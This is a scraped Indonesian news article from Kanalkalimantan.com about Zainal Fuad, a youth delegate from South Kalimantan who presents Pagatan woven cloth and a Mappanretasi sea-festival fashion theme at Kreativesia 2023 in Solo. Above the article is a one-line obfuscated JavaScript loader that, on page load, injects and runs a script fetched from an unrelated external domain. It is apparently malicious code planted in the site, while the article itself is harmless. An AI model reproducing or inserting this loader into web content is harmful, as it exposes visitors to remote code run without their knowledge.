(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Lifestyle

Zainal Fuad Hadirkan Tenun Pagatan dalam Gelaran Kreativesia 2023

KANALKALIMANTAN.COM, SOLO – Zainal Fuad, pemuda asal Kabupaten Hulu Sungai Utara (HSU) mencoba mengangkat kain tenun khas Pagatan Kabupaten Tanah Bumbu dalam ajang Pekan Kreativitas Pemuda Indonesia (Kreativesia) 2023 di Solo, Jawa Tengah.

Mewakili Kalsel, Dinas Kepemudaan, Olahraga dan Pariwisata (Disporapar) Provinsi Kalsel mengirim lima pemuda sebagai perwakilan untuk mengikuti Kreativesia 2023 yang berlangsung di Kota Solo, Jawa Tengah, 24-28 Agustus 2023.

Dari kelima pemuda tersebut diantaranya Zainal Fuad asal Kabupaten Hulu Sungai Utara (HSU) terpilih menjadi perwakilan Provinsi Kalsel sebagai peserta Kreativesia 2023 kategori fashion.

“Alhamdulliah ulun (saya) dari Kabupaten Hulu Sungai Utara dipercaya untuk mewakili Provinsi Kalsel dalam kegiatan Pekan Kreativitas Pemuda Indonesia 2023,” kata Fuad kepada Kanalkalimantan. com, Minggu (27/8/2023).

Menurutnya dalam pekan fashion kali ini, ia memilih mengangkat kain tenun khas Pagatan sebagai representasi dari Kalimantan Selatan.

Kendati Kalimantan Selatan dikenal dengan kain sasirangan, menurutnya pilihan ini menjadi alternatif yang menarik untuk memperkenalkan Kalsel secara lebih luas.

“Kalau selama ini Kalsel terkenal dengan kain sasirangan, kali ini ulun memperkenalkan kain tenun dari Pagatan, Kabupaten Tanah Bumbu,” kata Duta Ekowisata Nasional 2020 ini.

Fuad menjelaskan untuk tema desain busana kali ini dirinya meangkat tema “The Mistical of Mappanretasi Pagatan” atau lebih dikenal dengan Pesta Laut atau Pesta Pantai.

Selain itu, dari desain tersebut, dirinya juga tak lupa menambahkan asesoris lain seperti tas anyaman lupu yang dibuat sepesial dari rotan merah khas kalimantan.

Seperti diketahui, pesta pantai merupakan sebuah upacara adat di Pantai Pagatan, Kabupaten Tanah Bumbu, Kalimantan Selatan.

Mappanretasi berasal dari bahasa Bugis yang terdiri dari dua kata yaitu Ma’ppanre yang berarti memberi “makan” dan Tasi berarti “laut” Jadi Mappanretasi, artinya memberi makanan di laut.

“Jadi lewat desain fashion kali ini, pesan yang disampaikan bagaimana orang pesisir berterimakasih dengan laut dengan hasil yang melimpah,” bebernya.

Ia berharap, dengan mengenalkan kain khas Kalimantan Selatan ini, para pengrajin akan termotivasi untuk meningkatkan produksi mereka secara signifikan.

“Harapannya dengan saya memperkenalkan ini di kancah nasional, produk khas Kalimatan Selatan semakin dikenal lebih luas dan bisa meningkatkan perekonomian masyarakat,” pungkasnya.

Seperti diketahui Kreativesia merupakan event bergengsi se-Indonesia yang menjadi agenda tahunan Kemenpora RI. Tahun 2023 ini ajang tersebut digelar di Surakarta, Jawa Tengah.

Dengan mengusung tema “Tantangan tak terbatas untuk menjadi kreatif di bidang sosial, budaya, ekonomi, dan pemanfaatan teknologi digital”. Bertujuan untuk meningkatkan kreativitas para pemuda Indonesia di berbagai bidang seperti teknologi, seni, budaya, dan sosial.

Menteri Pemuda dan Olahraga (Kemenpora) RI, Ario Bimo Nandito Ariotedjo mengatakan, penyelenggaraan Pekan Kreativitas Pemuda Indonesia 2023 merupakan upaya bersama untuk merayakan dan memberikan penghargaan kepada individu, komunitas, dan lembaga yang telah menghasilkan karya-karya kreatif dan gagasan inovatif yang luar biasa.

Kreativesia merupakan panggung untuk menginspirasi dan mempromosikan kreativitas dalam segala bentuknya, mulai dari seni, desain, teknologi, inovasi, hingga industri kreatif yang semakin berkembang di Indonesia.

“Saya berharap kegiatan ini dapat memunculkan kolaborasi antara para pelaku industri kreatif, komunitas, akademisi, private sector dan pemerintah dalam mewujudkan visi bangsa kita menuju masa depan yang lebih baik,” tutupnya. (Kanalkalimantan.com/dew)

Editor : bie